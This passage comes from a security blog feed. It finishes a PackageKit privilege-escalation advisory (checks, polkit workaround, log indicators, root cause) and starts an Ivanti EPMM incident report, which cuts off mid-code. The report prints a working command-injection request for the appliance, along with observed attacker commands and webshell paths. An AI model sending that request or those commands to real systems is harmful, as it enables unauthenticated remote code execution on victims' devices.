Exploitability has been explicitly tested and confirmed on the following distributions in default installations with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apt&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnf&lt;/code&gt; package manager backends:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Ubuntu Desktop 18.04 (EOL), 24.04.4 (LTS), 26.04 (LTS beta).&lt;/li&gt;
  &lt;li&gt;Ubuntu Server 22.04 - 24.04 (LTS)&lt;/li&gt;
  &lt;li&gt;Debian Desktop Trixie 13.4&lt;/li&gt;
  &lt;li&gt;RockyLinux Desktop 10.1&lt;/li&gt;
  &lt;li&gt;Fedora 43 Desktop&lt;/li&gt;
  &lt;li&gt;Fedora 43 Server&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It is reasonable to assume that all distributions that ship PackageKit with it enabled are vulnerable.
Since PackageKit is an optional dependency of the &lt;a href=&quot;https://cockpit-project.org/&quot;&gt;Cockpit project&lt;/a&gt;, many servers with Cockpit installed might be vulnerable as well, including Red Hat Enterprise Linux (RHEL).&lt;/p&gt;

&lt;p&gt;The vulnerability is fixed in PackageKit release 1.3.5 and distribution backports.
Updates should be available from today 2026-04-22 12:00 CEST.&lt;/p&gt;

&lt;h3 id=&quot;how-to-check-if-your-system-is-vulnerable&quot;&gt;How to check if your system is vulnerable&lt;/h3&gt;

&lt;p&gt;It is not sufficient to simply &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep&lt;/code&gt; through the process list, as PackageKit and Cockpit are not necessarily running as persistent processes as they can be activated on demand through D-Bus.
First check if PackageKit is installed on your system and compare it with &lt;a href=&quot;#vulnerable-versions&quot;&gt;vulnerable versions&lt;/a&gt;, e.g.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dpkg -l | grep -i packagekit&lt;/code&gt; or&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rpm -qa | grep -i packagekit&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Note &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep&lt;/code&gt;’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-i&lt;/code&gt; flag, as the package may be installed in camel case as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PackageKit&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To check if the PackageKit daemon is available, run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl status packagekit&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkmon&lt;/code&gt;.
If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl&lt;/code&gt; shows it as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;loaded&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;running&lt;/code&gt; or the PackageKit monitor tools show transaction output, the daemon is active and your system is potentially exploitable if unpatched. 
For PackageKit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt; 1.3.3&lt;/code&gt; test &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkmon&lt;/code&gt;, for versions &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;gt;= 1.3.3&lt;/code&gt; use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkgcli monitor&lt;/code&gt; to test for output.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Updated Packages&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Despite of the fixed release &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1.3.5&lt;/code&gt;, multiple Distributions released patched packages.
In the following, we link the Distros package overviews, that show Distro specific patched versions.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Debian: &lt;a href=&quot;https://security-tracker.debian.org/tracker/CVE-2026-41651&quot;&gt;https://security-tracker.debian.org/tracker/CVE-2026-41651&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Ubuntu: &lt;a href=&quot;https://bugs.launchpad.net/bugs/cve/2026-41651&quot;&gt;https://bugs.launchpad.net/bugs/cve/2026-41651&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Fedora 42 - 44: Fixed in PackageKit-1.3.4-3 &lt;a href=&quot;https://koji.fedoraproject.org/koji/packageinfo?packageID=5206&quot;&gt;https://koji.fedoraproject.org/koji/packageinfo?packageID=5206&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;workaround&quot;&gt;Workaround&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; The following workaround is provided “as is”, without warranty of any kind, express or implied. Use at your own risk. Test thoroughly in your environment before deploying to production systems.&lt;/p&gt;

&lt;p&gt;This workaround has the sideffect that GUI software centers (GNOME Software, etc.) will no longer be able to install packages. Users must use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo yum/dnf install&lt;/code&gt; from the terminal.
Package installs via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yum&lt;/code&gt;/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnf&lt;/code&gt; are unaffected since they don’t use PackageKit.&lt;/p&gt;

&lt;p&gt;Systems that do not have an available patch, can be secured by deploying a PolicyKit rule file as a workaround.
For polkit 0.106+  place a rulefile in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/polkit-1/rules.d/49-workaround-cve-2026-41651.rules&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// CVE-2026-41651 workaround: immediately deny PackageKit install actions&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// without dispatching to an authentication agent.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// This prevents the transaction flag race by ensuring the polkit denial&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// arrives before the scheduler&apos;s idle callback can fire.&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;polkit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addRule&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;subject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;org.freedesktop.packagekit.package-install-untrusted&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;org.freedesktop.packagekit.package-install&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;org.freedesktop.packagekit.package-reinstall&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;org.freedesktop.packagekit.package-downgrade&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;org.freedesktop.packagekit.system-update&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// Allow root (uid 0) — needed for legitimate admin operations&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;subject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;uid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;polkit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;YES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// Deny all non-root users immediately (no agent interaction)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;polkit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;NO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;indicators-of-compromise&quot;&gt;Indicators of compromise (IOC)&lt;/h3&gt;

&lt;p&gt;Even though the vulnerability is reliably exploitable in seconds, it leaves traces that serve as a strong indicator of compromise.
After successful exploitation, the PackageKit daemon hits an assertion failure and crashes.
Systemd recovers the daemon on the next D-Bus invocation, preventing a denial-of-service, but the crash is observable in the system logs:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# journalctl --no-pager -u packagekit | grep -i emitted_finished
Apr 18 09:56:36 Rocky10 packagekitd[2082]: PackageKit:ERROR:../src/pk-transaction.c:514:pk_transaction_finished_emit: assertion failed: (!transaction-&amp;gt;priv-&amp;gt;emitted_finished)
Apr 18 09:56:36 Rocky10 packagekitd[2082]: Bail out! PackageKit:ERROR:../src/pk-transaction.c:514:pk_transaction_finished_emit: assertion failed: (!transaction-&amp;gt;priv-&amp;gt;emitted_finished)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;technical-details&quot;&gt;Technical Details&lt;/h3&gt;

&lt;p&gt;The vulnerability is a time-of-check-time-of-use (TOCTOU) race condition in PackageKit’s D-Bus transaction handling.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PackageKit and Transaction Flags&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;PackageKit is a D-Bus system service that runs as root and delegates authorization to &lt;a href=&quot;https://github.com/polkit-org/polkit&quot;&gt;polkit&lt;/a&gt;. When a client wants to install a package, it creates a transaction object over D-Bus and calls a method such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;InstallFiles(flags, [path])&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flags&lt;/code&gt; parameter is a bitfield that controls the transaction’s behavior. Certain flag values (such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SIMULATE&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ONLY_DOWNLOAD&lt;/code&gt;) cause PackageKit to skip polkit authorization entirely, because the operations they represent are considered safe: they should never modify the system.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Root Cause&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The core issue is that PackageKit’s transaction handler unconditionally overwrites the cached transaction flags on every &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;InstallFiles&lt;/code&gt; call, without verifying the transaction’s current state. There is no guard ensuring the transaction is still in its initial state. A second call on the same transaction can overwrite the flags even after the transaction has already been authorized and is running.&lt;/p&gt;

&lt;p&gt;PackageKit’s state machine does have a guard against backward state transitions, but it rejects them silently. The flag overwrite happens &lt;em&gt;before&lt;/em&gt; the state transition is attempted, so the corrupted flags remain in effect while the transaction continues to run.&lt;/p&gt;

&lt;p&gt;When the transaction is eventually executed, the scheduler reads the &lt;em&gt;current&lt;/em&gt; value of the cached flags. If the safety flags have been stripped by a subsequent call, the backend performs a real operation instead of the originally authorized safe one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GLib Event Loop Ordering&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A key property that makes this exploitable is GLib’s main loop priority system: D-Bus messages are dispatched at a higher priority than idle callbacks. The scheduler executes transactions through idle callbacks, which means any pending D-Bus message is &lt;em&gt;always&lt;/em&gt; processed first. This creates a reliable window for the flag overwrite to land before the transaction actually executes.&lt;/p&gt;

&lt;h4 id=&quot;proof-of-concept&quot;&gt;Proof-of-Concept&lt;/h4&gt;

&lt;p&gt;We have developed a working proof-of-concept that reliably exploits this vulnerability to achieve root code execution from an unprivileged local user on default installations of various distributions. However, the PoC code is not being shared publicly at this time for obvious reasons.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/Pack2TheRoot/pack2theroot-poc2.png&quot; alt=&quot;Proof-of-Concept Screenshot&quot; class=&quot;img-small&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;p&gt;A huge thank you goes to PackageKit maintainer Matthias Klumpp (&lt;a href=&quot;https://github.com/ximion&quot;&gt;@ximion&lt;/a&gt;), for addressing this vulnerability quickly by creating a patch and for coordinating communication with the distribution maintainers.
The vulnerability has been found and reported by Deutsche Telekom’s Red Team.
If you have questions regarding the vulnerability or are interested in our &lt;a href=&quot;https://geschaeftskunden.telekom.de/business/loesungen/digitalisierung/cyber-security&quot;&gt;security offerings&lt;/a&gt;, including Red Team assessments, feel free to contact &lt;span class=&quot;obf&quot; data-obf=&quot;Y21Wa2RHVmhiVUIwWld4bGEyOXRMbVJs&quot;&gt;[loading (JS)…]&lt;/span&gt;.&lt;/p&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;2026-04-08: Private report of the vulnerability to Red Hat (through Fedora) and PackageKit project&lt;/li&gt;
  &lt;li&gt;2026-04-10: Acknowledgement of receipt and plausibility of the vulnerability by PackageKit maintainer&lt;/li&gt;
  &lt;li&gt;2026-04-13: First draft of private patch by PackageKit maintainer Matthias Klumpp (&lt;a href=&quot;https://github.com/ximion&quot;&gt;@ximion&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;2026-04-15: Informed Canonical about the issue&lt;/li&gt;
  &lt;li&gt;2026-04-15: Shared patch with Red Hat and Canonical&lt;/li&gt;
  &lt;li&gt;2026-04-19: Privately informed distribution vendors through &lt;a href=&quot;https://oss-security.openwall.org/wiki/mailing-lists/distros&quot;&gt;distros mailing list&lt;/a&gt;, shared patch and publication date&lt;/li&gt;
  &lt;li&gt;2026-04-21: Reaffirmed the publication date with distribution maintainers&lt;/li&gt;
  &lt;li&gt;2026-04-22: PackageKit patch release and public disclosure through &lt;a href=&quot;https://www.openwall.com/lists/oss-security/2026/04/22/6&quot;&gt;oss-security mailing list&lt;/a&gt; and this blog post.&lt;/li&gt;
  &lt;li&gt;2026-04-22: Got CVE-2026-41651 assigned&lt;/li&gt;
  &lt;li&gt;2026-04-23: Public exploit available on GitHub&lt;/li&gt;
  &lt;li&gt;2026-04-29: Updated blog article with technical details and propose for workaround&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;advisories&quot;&gt;Advisories&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;GitHub Security Advisory &lt;a href=&quot;https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv&quot;&gt;GHSA-f55j-vvr9-69xv&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-41651&quot;&gt;CVE-2026-41651&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;The images in this article are free to use, as long as a reference to this blog post is provided.&lt;/em&gt;
A &lt;a href=&quot;/assets/images/Pack2TheRoot/Pack2TheRoot.svg&quot;&gt;SVG version&lt;/a&gt; of the Pack2TheRoot Logo is also available.&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Mass exploitation of CVE-2026-1281 and CVE-2026-1340 in Ivanti EPMM</title>
    <link href="https://github.security.telekom.com/2026/03/ivanti-CVE-2026-1281-exploitation.html"/>
    <id>https://github.security.telekom.com/2026/03/ivanti-CVE-2026-1281-exploitation.html</id>
    <updated>2026-03-03T00:00:00+00:00</updated>
    <summary type="html">In early 2026, two critical zero-day vulnerabilities in Ivanti’s mobile device management platform - CVE-2026-1281 and CVE-2026-1340 - emerged as significant drivers of incident activity across multiple sectors. Both flaws, rated CVSS 9.8 (critical), allow unauthenticated remote code execution, enabling attackers to compromise Ivanti Endpoint Manager Mobile (EPMM) appliances and potentially pivot into broader enterprise environments.</summary>
    <content type="html">&lt;p&gt;In early 2026, two critical zero-day vulnerabilities in Ivanti’s mobile device management platform - &lt;a href=&quot;https://www.dcert.de/advisories/2026-0252&quot;&gt;CVE-2026-1281 and CVE-2026-1340&lt;/a&gt; - emerged as significant drivers of incident activity across multiple sectors. Both flaws, rated CVSS 9.8 (critical), allow unauthenticated remote code execution, enabling attackers to compromise Ivanti Endpoint Manager Mobile (EPMM) appliances and potentially pivot into broader enterprise environments. &lt;!--more--&gt; These vulnerabilities were &lt;a href=&quot;https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US&quot;&gt;disclosed&lt;/a&gt; by Ivanti on January 29, 2026, alongside emergency mitigation guidance.&lt;/p&gt;

&lt;p&gt;The German Federal Office for Information Security (BSI) subsequently issued a &lt;a href=&quot;https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2026/2026-221601-1032_bits.html&quot;&gt;warning&lt;/a&gt; highlighting widespread exploitation of these issues in the wild and urging operators to assess and respond to potential compromises using updated detection scripts and indicators of compromise.&lt;/p&gt;

&lt;p&gt;Last week, our &lt;a href=&quot;https://public.telekom.de/produkte/public-cyber-security/security-testing&quot;&gt;Incident Response team&lt;/a&gt; was engaged in multiple incidents involving active exploitation of these vulnerabilities across different customer environments. In several cases, threat actors had already established persistence and initiated post-exploitation activities.&lt;/p&gt;

&lt;p&gt;This post consolidates key findings derived from our incident response engagements related to CVE-2026-1281 and CVE-2026-1340. It provides insights into observed attacker tradecraft and initial access patterns. Since the initial vulnerability disclosure, a saturated threat landscape has evolved. Multiple threat actors / botnets have since established persistence, creating a high level of background noise. Therefore we’re avoiding attribution and detailed analysis and instead focus on documentation about our findings.&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h3 id=&quot;how-the-exploit-works&quot;&gt;How the exploit works&lt;/h3&gt;

&lt;p&gt;Both CVE-2026-1281 and CVE-2026-1340 are critical pre-authentication Remote Command Execution (RCE) vulnerabilities with a CVSS score of 9.8. The vulnerabilities used in ongoing exploitation campaigns are caused by unsafe handling of attacker-controlled input in a server-side Bash script. In plain terms: an internet-exposed EPMM web endpoint forwards parts of an incoming request into a script, and due to a shell-evaluation bug, that input can be interpreted as code — so the device ends up running commands the attacker chooses.&lt;/p&gt;

&lt;p&gt;The vulnerable bash scripts are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/bin/map-appstore-url&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/bin/map-aft-store-url&lt;/code&gt;. Both are called when specific HTTP endpoints are requested. As Watchtowr described in a blog post, a vulnerable HTTP endpoint corresponds to the pattern: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mifs/c/appstore/fob/3/&amp;lt;int&amp;gt;/sha256:&amp;lt;something1&amp;gt;/&amp;lt;something2&amp;gt;.ipa&lt;/code&gt;. For example, a working exploit request looks like this:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/mifs/c/appstore/fob/3/5/sha256:kid&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1,st&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;theValue  ,
&lt;span class=&quot;nv&quot;&gt;et&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1337133713,h&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;gPath[&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sleep &lt;/span&gt;5&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The parameters &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;st&lt;/code&gt;&lt;/strong&gt;, and &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt;&lt;/strong&gt; are not chosen arbitrarily, but are crafted specifically for exploitation. The exact mechanism how the exploit works is described in depth by Watchtowr. For now, the key takeaways are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The value of the &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;st&lt;/code&gt;&lt;/strong&gt; argument corresponds to an existing variable name in the bash script. Specifically, &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;theValue&lt;/code&gt;&lt;/strong&gt; holds the value of the last argument passed to the bash script. Furthermore, gPath also corresponds to an existing variable in the bash script, though its value does not matter for the exploit to work.&lt;/li&gt;
  &lt;li&gt;The key detail of the exploit is that at some point in the vulnerable bash script, the value &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;theValue&lt;/code&gt;&lt;/strong&gt; is evaluated as a bash expression. For the above example, this means that &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gPath[`sleep 5`]&lt;/code&gt;&lt;/strong&gt; is evaluated, causing bash to execute the inner command &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sleep 5&lt;/code&gt; in an attempt to calculate an array index that can be used to access &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gPath&lt;/code&gt;&lt;/strong&gt;. Since the inner command is provided by the attacker, this results in arbitrary command execution.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of the above steps require authentication. This means that the vulnerability can be exploited by anyone who is able to connect to vulnerable appliances, for example via the internet. Moreover, following release of example exploit requests, threat actors rapidly adopted the exploit in various malicious activities.&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h3 id=&quot;what-we-observed&quot;&gt;What we observed&lt;/h3&gt;

&lt;p&gt;During our investigation across multiple Ivanti EPMM environments, we identified consistent exploitation attempts targeting CVE-2026-1281 and CVE-2026-1340. The observed activity aligns with publicly reported in-the-wild exploitation and demonstrates behavior ranging from opportunistic scanning and remote code execution (RCE) validation to advanced post-exploitation actions.&lt;/p&gt;

&lt;h4 id=&quot;1-initial-exploitation-and-rce-validation&quot;&gt;1. Initial Exploitation and RCE Validation&lt;/h4&gt;

&lt;p&gt;We observed HTTP requests targeting known vulnerable endpoints associated with the Apache RewriteMap bash injection flaw. Payloads were embedded directly within GET parameters, consistent with command injection exploitation patterns.&lt;/p&gt;

&lt;p&gt;The injected commands were primarily designed to validate successful remote code execution. Commonly observed commands included:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whoami&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hostname&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;passwd&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ps&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;echo&lt;/code&gt;-based output redirection&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sleep&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;true&lt;/code&gt; for timing and execution control&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rm&lt;/code&gt; commands for cleanup of temporary artifacts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In several cases, command output was redirected into web-accessible paths under the Tomcat webroot, including:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/.../webapps/mifs/403.jsp&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/.../webapps/mifs/401.jsp&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/.../webapps/mifs/css/*.css&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The redirection of command output into web-accessible directories indicates that command execution was successful rather than limited to reconnaissance scanning.&lt;/p&gt;

&lt;p&gt;DNS-based validation activity was also observed. Repeated execution of dig commands targeting attacker-controlled domains suggests OAST-style callback validation of command execution. These DNS lookups were often executed multiple times in short intervals.&lt;/p&gt;

&lt;h4 id=&quot;2-webshell-deployment-activity&quot;&gt;2. Webshell Deployment Activity&lt;/h4&gt;

&lt;p&gt;Multiple indicators were identified that are consistent with JSP webshell deployment in Tomcat web application directories.&lt;/p&gt;

&lt;p&gt;A recurring marker string was identified:&lt;/p&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;U&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ClassLoader&lt;/span&gt;
